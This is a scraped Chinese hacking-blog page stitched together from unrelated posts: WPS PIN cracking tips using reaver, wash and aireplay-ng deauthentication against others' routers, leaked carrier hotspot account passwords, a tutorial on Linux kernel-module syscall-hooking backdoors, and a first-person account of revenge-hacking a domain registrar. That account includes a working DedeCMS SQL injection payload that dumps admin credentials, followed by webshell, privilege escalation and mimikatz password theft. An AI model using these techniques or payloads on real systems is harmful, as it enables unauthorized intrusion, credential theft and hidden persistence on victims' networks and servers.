d.小技巧:只要Root Shell窗口不关闭,按方向键的上下会出现你输入过的命令方便调用。
2. reaver
破密进度表 全能保存办法
用u盘或者硬盘启动xiaopanos可以保存进度,重启不会丢失,方法如下:
打开桌面最后边一个图标xfec 定位到/etc/reaver下,有一个wpc后缀的文件,名字是你
破解的mac地址,复制到你的U盘,路径是/mnt/sdb1(一般是这个,自己找找要是没有东
西就右键mount),以后重启到xiaopanOS,把这文件复制到原来的路径,再试试,可以
载入进度了
reaver的进度表文件保存在/etc/reaver/MAC地址.wpc 用资源管理器,手工将以MAC地
址命名的后辍为.wpc的文件拷贝到U盘或硬盘中,下次重启动后,再手工复制到
/etc/reaver/ 目录下即可。
MAC地址.wpc 其实是个文本文件,格式与破密用字典酷似,如果进度到99.9%后,AP
死机,可打开它,总共1000个3位数,找出剩余的十几个PIN码,用QSS、WPS客户
端软件,手动测试、破密。
3. PIN
破密降低timeout、同码重复的非常给力措施之一
首先是PIN难易与MAC无关的!主要跟路由所在频道的 信道拥挤程度相关!(同一频道
中有几个路由,特别是强信号的AP会相互干扰,造成 timeout
一般AP默认频道cn 6,部分为
解决“同频干扰”、“邻频干扰”的原则:设法 调虎离山(这个我想大家都懂的)。
将能调动的AP远离破密AP至少3个CN以上
5.如果90.9%进程后死机或停机,可以使用-p参数
请记下PIN前四位数,用指令:reaver -i mon0 -bMAC -a -vv -p XXXX(PIN前四位数
会从指定PIN段起破密.
6.只有AP开启了WPS、QSS功能,才可以用PIN法破PSK密码!如何查看AP是否开了WPS、QSS呢?
reaver1.3下 使用airodump-ng -mon0 MB一栏下,出现 54e. 是开11N的WPS的(不是
54e是有小数点的54e.)
reaver1.4除可使用上述命令外也可以用新的指令:WASH -imon0-C在wps locked一项中
有显示的。
WIN7下,用通常的方式连接AP,如果在提示输入密码框下面,出现“通过按路由器按
钮也可以连接”,就确认此AP开了WPS、QSS。PIN破密对信号要求极为严格,如果信
号稍差,可能导致破密进度变慢或者路由死锁等(重复同一个PIN码 或timeout)。AP
关闭了WPS、或者没有QSS滴,会出现
WARNING: Failed to associate with XX:XX:XX:XX:XX:XX (ESSID: XXXX)
7. 通过mac地址查找路由品牌 有时候
破解时SSID通常被改成其他的 不好判断 可以打开下面这个网址:
http://standards.ieee.org/develop/regauth/oui/public.html
输入你的ap mac的前三位,接下来就不用说了吧?破解 至少也要知道对方用的是啥路由
总结发现这个方法最快 也最好用 对破解有一定的帮助
8. 很简单地扫描支持pin解的路由
在xiaopanos下打开一个root shell 如果是1.3或之前的的就键入walsh -i mon0 -C(一般是
这个,不是的话改成你的网卡,注意c要大写)
1.4要把walsh改成wash 片刻就罗列出周围支持wps的路由,在wps locked一项如果是
N的话就可以pin破解
9. 在
xiaopanOS 中,打开的窗口最小化后,就找不到了,因为不像windows有下方的任
务栏,此时按Alt+Tab键,会出现一个弹出菜单,选择rootshell,原来最小化的窗口就会
出现了。
10. PIN僵死锁定后,无奈的方法。也可以攻击隐藏ssid的路由(不推荐使用)aireplay-ng-0 1000 -a SSID
的MAC -c 合法客户端的MAC 网卡端口 就是让客户端断开连接1000次
11. 【公共
wifi密码】
中国移动:卡号:15821275836 密码:159258;卡号:15800449592 密码:159258;卡
号:15800449954 密码:159258;卡号:15800449940 密码:159258。中国电信:但凡
你的手机能搜到电信的chinanet的热点覆盖,全国公免账号:07953591377密码3591377。
有福同享!
12. 利用虚假连接调整天线,快速穷举pin码的方法;
首先利用8187管理软件来精确调整天线的位置。(因为8187界面非常直观,友好,可以
看到当前连接ap源的信号强度和接收品质的动态条)把信号先调得接收强度,接收品质
为最优秀为破解来打下扎实的基础。
最笨的方法就是把要破解的信号连接上。那你会问了能连接上就不用破了。是兄弟们没
有反应过来,呵呵,听我慢慢说:你可以虚假的连接啊。比如:要破这个1234p这个ssid
的信号。双击这个信号后会弹出输入密码对话框,你可以按10个1嘛。下面也一样输入
10个1 。这样就会虚假连接。能在8187管理界面上看到信号接收强度和接收品质的动
态图。虽然上不去网,但是完全可以根据这两项把天线调整到最佳的接收状态,使之
信号校对到最优秀状态。把信号调整好后,你说破解顺利不啊?还会出timeout这种丢包
情况吗?会相当顺利的。呵呵呵呵。
配合破解要有好的定向天线,我是硬件版块的兄弟。我们经常自己diy大增益的天线。使
我们的信号强上更强,这叫好马配好鞍,使破解无往而不利,综上所术:这就是我要分享
的小经验。我最慢也没有超过30分钟 的啊。一般全是15分钟就搞定了。。新手兄弟:
明白了吧 .
13. 破解隐藏SSID前提:一定要有合法的客户端连上
1.在bt3/4/5下先打开一个shell,输入airodump-ng 网卡端口
2.打开另一个shell,输入aireplay-ng-0 10 -a AP的MAC -c 合法客户端的MAC 网卡端口,
可能这个命令由于频道不对会出错,这时就要多重输几次(重输技巧:只要按一下向上键就
可以了,如果不行,就是不是合法客户端,要再试其它的客户端),直到提示成功为止。
3.然后就可以在上个shell,看到显示出来的SSID图是借用论坛的XD的,希望是不会介意
吧 连接隐藏SSID: 输入SSID选好网络身份验证加密方式及破解出来的密码,点上即使此网络未广播也进行
连接,然后确定就看到右下角小电脑摇起来了吧!如果连不了,可能是因为这个信号太弱和
有太强的信号影响,这时就要把可用网络里的AP列表全部删除,只留下那个刚新增的AP就可以了.如果还是连不上,那就是因为这个信号太弱,windows认为它没有连接的价值,又
或是AP还设置了MAC、IP过滤。
14.在xiaopangOS下修改usb网卡mac地址的方法
macchanger -m 00:16:6f:ab:25:f9 wlan0
15. PIN
破密正常运行中,信号质量也很好的情况下,突然出现出现同码循环和大量
timeout,可能是如下原因造成的(排除关机状态)。
reaver只支持11N的PIN破密,11n先验证前4位码,11g也有PIN功能,是全码验证。
现在多数AP的无线模式是混和11bgn,当有11g设备接入时,AP自动从11N降至11g
此时,reaver会出现同码循环重复timeout! 甚至会出现WARNING: Failed to associate with
XX:XX:XX:XX:XX:XX (ESSID: XXXX)实证中,在排除同频干扰因素后,通过扫描无线
网络,发现路由器,确实从54e.模式降为54.模式了。有人把此种现象称为临时性WPS、
PIN功能自锁从收集情况分析,目前破密的主要是TP-LINK的路由器!
解决办法:
等待这个11g设备退出无线接入,断电重启,AP自动从11g恢复至11N模式。如果遇
到上很长很长时间不重启的顽固AP,我想最有效的办法就是我们动手帮它重启,找到附) ~
近(路由器一定离我们不远)楼内单位总电源开关!下步该知道怎么办了吧————终)
极秘籍:拉开关断电,再推上开关,回家继续。
相关推荐:
破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单
Kali套件之nikto扫描网站漏洞应用小计
最新kali2.0 aircrack-ng 无法进入监听模式问题的解决办法 Linux
对于升级后的aircrack-ng 和以前的 大不一样,特别是监听模式的设置,很多人会出现找不到设备会命令出错的各种原因我们先去官网(http://www.aircrack-ng.org/doku.php?id=compatibility_drivers)确定自己网卡是否有被kali2集成后就可以按照以下步骤 进行新的命令操作:
第一步:在设置监听模式前先输入airmon-ng check kill结束进程
第二步:和以前一样载入网卡airmon-ng start wlan0(自己的网卡名)
第三步:他会自动创建一个 wlan0mon接口 记住这个 接口名 而不是以前的mon0
第四步:建立监听 airodump-ng wlan0mon
如果在第四步发现出现错误 那么 有三种可能第一 你的网卡不支持监听模式,第二你的wlan0mon输入错误,第三网卡被其他进程给调用无法获取
第三种情况解决方法:
执行airmon-ng check kill
执行 ifconfig wlan0mon up
airmon-ng stop wlan0mon
最后跳回上面的第二部进行
如果还不行 那就拔掉网卡 或重启
再次ifconfig 查找时候有
网卡 标识名一般以wlan开头如果没有 就 ifconfig wlan0 (或者wlan1 wlan2.。。。载入) up
发现了 并载入了 wlan0跟着第一步走一般不会出错
相关推荐:
破解了你的路由密码后,我还可以这样做,绝对不是蹭你网这么简单
Kali套件之nikto扫描网站漏洞应用小计
Linux内核级后门的原理及简单实战应用 Linux
以下代码均在linux i86 2.0.x的内核下面测试通过。它也许可以在之前的版本通过,但并没有被测试过。因为从2.1.x内核版本就引入了相当大的改变,显著地内存管理上的差别,但这些不是我们现在要讨论的内容。
用户空间与内核空间
linux是一个具有保护模式的操作系统。它一直工作在i386 cpu的保护模式之下。
内存被分为两个单元:内核区域和用户区域。内核区域存放并运行着核心代码,当然,顾名思义,用户区域也存放并运行用户程序。当然,作为用户进程来讲它是不能访问内核区域内存空间以及其他用户进程的地址空间的。
核心进程也有同样的情况。核心代码也同样不能访问用户区地地址空间。那么,这样做到底有什么意义呢?我们假设当一个硬件驱动试图去写数据到一个用户内存
空间的程序里的时候,它是不可以直接去完成的,但是它可以利用一些特殊的核心函数来间接完成。同样,当参数需要传递地址到核心函数中时,核心函数也不能直
接的来读取该参数。同样的,它可以利用一些特殊的核心函数来传递参数。
这里有一些比较有用的核心函数用来作为内核区与用户区相互传递参数用。
#include <asm/segment.h> get_user(ptr) |
从用户内存获取给定的字节,字,或者长整形。这只是一个宏(在核心代码里面有此宏的详细定义),并且它依据参数类型来确定传输数量。所以你必须巧妙地利用它。
put_user(ptr)和get_user()非常相似,但是,它不是从用户内存读取数据,而是想用户内存写数据。
memcpy_fromfs(void *to, const void *from,unsigned long n) |
从用户内存中的from拷贝n个字节到指向核心内存的指针to。
memcpy_tofs(void *to,const *from, unsigned long n) |
从核心内存中的*from拷贝n个字节数据到用户内存中的*to。
系统调用
大部分的c函数库的调用都依赖于系统调用,就是一些使用户程序可以调用的简单核心包装函数。这些系统调用运行在内核本身或者在可加载内核模块中,就是一些可动态的加载卸载的核心代码。
就象MS-DOS和其他许多系统一样,linux中的系统调用依赖一个给定的中断来调用多个系统调用。linux系统中,这个中断就是int
0x80。当调用'int 0x80'中断的时候,控制权就转交给了内核(或者,我们确切点地说, 交给_system_call()这个函数),
并且实际上是一个正在进行的单处理过程。
* _system_call()是如何工作的?
首先,所有的寄存器被保存并且%eax寄存器全面检查系统调用表,这张表列举了所有的系统调用和他们的地址信息。它可以通过extern void *sys_call_table[]来被访问到。该表中的每个定义的数值和内存地址都对应每个系统调用。大家可以在/usr/include/sys/syscall.h这个头中找到系统调用的标示数。
他们对应相应的SYS_systemcall名。假如一个系统调用不存在,那么它在sys_call_table中相应的标示就为0,并且返回一个出错信息。否则,系统调用存在并在表里相应的入口为系统调用代码的内存地址。这儿是一个有问题的系统调用例程:
[root@plaguez kernel]# cat no1.c #include <linux/errno.h> #include <sys/syscall.h> #include <errno.h> extern void *sys_call_table[]; sc() { // 165这个系统调用号是不存在的。 __asm__( "movl $165,%eax int $0x80"); } main() { errno = -sc(); perror("test of invalid syscall"); } [root@plaguez kernel] # gcc no1.c [root@plaguez kernel] # ./a.out test of invalid syscall: Function not implemented [root@plaguez kernel] # exit |
系统控制权就会转向真正的系统调用, 用来完成你的请求并返回。 然后_system_call()调用_ret_from_sys_call()来检查不同的返回值, 并且最后返回到用户内存。
- libc
这int $0x80 并不是直接被用作系统调用; 更确切地是,libc函数,经常用来包装0x80中断,这样使用的。
libc通常利用_syscallX()宏来描述系统调用,X是系统调用的总参数个数。
举个例子吧,
libc中的write(2)就是利用_syscall3这个系统调用宏来实现的,因为实际的write(2)原型需要3个参数。在调用0x80中断之
前,这个_syscallX宏假定系统调用的堆栈结构和要求的参数列表,最后,当 _system_call()(通过int
&0x80来引发)返回的时候,_syscallX()宏将会查出错误的返回值(在%eax)并且为其设置errno。
让我们看一下另一个write(2)例程并看看它是如何进行预处理的。
[root@plaguez kernel]# cat no2.c #include <linux/types.h> #include <linux/fs.h> #include <sys/syscall.h> #include <asm/unistd.h> #include <sys/types.h> #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <ctype.h>
_syscall3(ssize_t,write,int,fd,const void ,buf,size_t,count);/构建一个write调用*/
main()
{
char *t = "this is a test.\n";
write(0, t, strlen(t));
}
[root@plaguez kernel]gcc -E no2.c > no2.C
[root@plaguez kernel]
indent no2.C -kr
indent:no2.C:3304: Warning:
old style assignment ambiguity in
"=-". Assuming "= -"[root@plaguez kernel]# tail -n 50 no2.C
9 "no2.c" 2
ssize_t write(int fd,
const void *buf, size_t count)
{
long res;
asm volatile("int $0x80":"=a"
(res):"0"(4), "b"((long) (fd)),
"c"((long) (buf)),
"d"((long) (count)));
if (res >= 0)
return (ssize_t) res;
errno = -res;
return -1;
};main()
{
char *t = "this is a test.\n";
write(0, t, strlen(t));
}
[root@plaguez kernel]# exit
注意那个write()里的"0"这个参数匹配SYS_write,在/usr/include/sys/syscall.h中定义。
- 构建你自己的系统调用。
这里给出了几个构建你自己的系统调用的方法。举个例子,你可以修改内核代码并且加入你自己的代码。一个比较简单可行的方法,不过,一定要被写成可加载内核模块。
没有一个代码可以象可加载内核模块那样可以当内核需要的时候被随时加载的。我们的主要意图是需要一个很小的内核,当我们需要的时候运行insmod命令,给定的驱动就可以被自动加载。这样卸除来的lkm程序一定比在内核代码树里写代码要简单易行多了。
- 写lkm程序
一个lkm程序可以用c来很容易编写出来。它包含了大量的#defines,一些函数,一个初始化模块的函数,叫做init_module(),和一个卸载函数:cleanup_module()。
这里有一个经典的lkm代码结构:
#define MODULE #define __KERNEL__ #define __KERNE_SYSCALLS__
include <linux/config.h>
ifdef MODULE
include <linux/module.h>
include <linux/version.h>
else
define MOD_INC_USE_COUNT
define MOD_DEC_USE_COUNT
endif
include <linux/types.h>
include <linux/fs.h>
include <linux/mm.h>
include <linux/errno.h>
include <asm/segment.h>
include <sys/syscall.h>
include <linux/dirent.h>
include <asm/unistd.h>
include <sys/types.h>
include <stdio.h>
include <errno.h>
include <fcntl.h>
include <ctype.h>
int errno;
char tmp[64];
/ 假如,我们要用到ioctl调用 /
_syscall3(int, ioctl, int, d,
int, request, unsigned long, arg);int myfunction(int parm1,char parm2)
{
int i,j,k;
/ ... */
}int init_module(void)
{
/ ... /
printk("\nModule loaded.\n");
return 0;
}void cleanup_module(void)
{
/ ... /
}
检查代码中的
#defines (#define MODULE, #define __KERNEL__) 和 #includes (#include <linux/config.h> ...)
一定要注意的是我们的lkm讲要被运行在内核状态,我们就不能用libc包装的函数了,但是我们可以通过前面所讨论的_syscallX()宏来构建系
统调用。你可以这样编译你的模块'gcc -c -O3 module.c' 并且利用'insmod module.o'来加载。
提一个建议,lkm也可以用来在不完全重建核心代码的情况下来修改内核代码。举个例子, 你可以修改write系统调用让它隐藏一部分给定的文件,就象我们把我们的backdoors放到一个非常好的地方:当你无法再信任你的系统内核的时候会怎么样呢?
- 内核和系统调用后门
在简单介绍了上述理论,我们主要可以用来做什么呢。我们可以利于lkm截获一些对我们有影响的系统调用,这样可以强制内核按照我们的方式运行。例如:我们可以利用ioctl系统调用来隐藏sniffer所造成的网卡PROMISC模式的显示。非常有效。
去改变一个给定的系统调用,只需要在你的lkm程序中增加一个定义extern void
*sys_call_table[],并且利用init_module()函数来改变sys_call_table里的入口来指向我们自己的代码。改变后
的调用可以做我们希望它做的一切事情,利用改变sys_call_table来导出更多的原系统调用。
- 内核和系统调用后门
- 构建你自己的系统调用。
使用Win32DiskImager做安装kali启动U盘后的那些事儿 Linux
如题,前几天不是kali风骚的流产了么。。。他们的新儿子kali2.0,我就试试感觉咋样,于是呢,就需要使用Win32DiskImager来做kali的安装启动U盘啊,一切顺利。。。只是在安装完之后,我切换到win10时候,插入U盘发现U盘容量有问题。。。
原本是8G的U盘,咋变这么小呢。。。开始尝试使用系统格式化工具-格式化,但是问题出现了。。。还是这么大、、、
FormatTool..是个很不错的软件,但是你的自己记住你的U盘的盘符 g h j 等等。。。我的是J .把强制格式化复选框选上之后,确定,稍作等待。就OK了:
容量就恢复了。。。goodsoft!对了软件下载地址:http://pan.baidu.com/s/1o6mW0Ls 方便需要的童鞋下载。
arp劫持某域名注册商 渗透测试
前段时间朋友在做一个网站, 就在某域名商那注册了一个米, 但是三天两头的出问题
找客服客服态度还很差, 说是自己的网络问题, 尼玛dns都找不到能是网络问题么? 擦...
于是乎夜半时分就帮朋友教训教训这个坑爹的域名商~~~
先是探测了一些基本信息, web使用的IIS7.5, 服务器是windows 2008
整个网站是.net写的, 于是开始找常见的一些漏洞, 发现整个系统还是比较安全, 除了一个反射型的XSS以外
没有发现其他更有价值的东西, 参数似乎是全局就过滤了, 所以注射这条路基本上堵死了..
想了一会, 就是为了教训教训这个域名商, 所以只要达到教训的目的就行了, 所以并不是非得日下
把他域名搞了岂不更爽? 再不济给他来个arp劫持也不错, 呵呵
先查了下域名商的域名, 是在Godaddy注册的, whois隐藏了, 现在不都说什么大数据大数据嘛..
于是我就在一些公开的社工库里面查了下站长的qq, 发现都没有信息, 到这里就卡死了..
既然域名那里不能入手, 那就玩玩C段吧.. 说起来也好久没弄这些了.
先用御剑扫一发~ 发现C段的站还挺多的 - - 随便找了个windows2003服务器下手, 找到了一个dede
打开一看我就呆了, 这个站原来都被人搞过了, 主页挂上了某XX小组的黑页
既然别人能日下还改了主页说明这个站的站长似乎并没怎么打理网站, 顿觉有戏!
于是打开/data/admin/ver.txt看了下版本是20130911
这个版本看来还是比较老的了, 所以直接抄上前一段时间爆出来的织梦注入漏洞:
/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,concat(0x3C6162633E,group_concat(0x7C,userid,0x3a,pwd,0x7C),0x3C2F6162633E),5,6,7,8,9%20from%20`%23@__admin`%23");
成功爆出来了帐号和密码
密码倒是很简单, 一下就破出来了. 只不过后台路径被改过了, 于是直接上谷歌, site:xxx.com inurl:login.php
找到了后台就简单了, 一顿XXOO拿到了shell, 这个大家都会就不细说了, 打开dede的配置文件一看, 我擦竟然直接就是root...
于是上传了一个有UDF提权功能的大马, 但是每次导出dll后安装的时候都提示不行, 一想不会是被杀了吧..
这里想了半天, 突然想到把后缀改一下呢, 于是随便弄了一个后缀. 改成了xxx.7b, 一安装, 竟然成功了
为了安全起见没有直接添加用户, 传了一个某黑客用mimikatz改出来的webshell版读取密码
成功把密码读了出来
看了下注册表3389是打开了的, 于是直接上服务器开撸, 没想到直接给我弹了个什么中断连接
“猥琐”成功XSS某网站 渗透测试
因为需求,对一个网站进行检测
各种扫描无果
于是开始进行各种xss
注册会员开始
问答处~~~~~~~
不会饶,还请大牛赐教!!
不会饶,还请大牛赐教!!
最后各种翻,各种翻啊~~!!
然后就看到了
哈哈哈,很多获取IP的方式都能弄,包括ip38
那就是我们的大杀器
然后退出,再登录一遍
——————————————————
OK
目地达到
注:原文出自t00ls.只是觉得够猥琐!转载之-_-| 如果不允许就告诉我.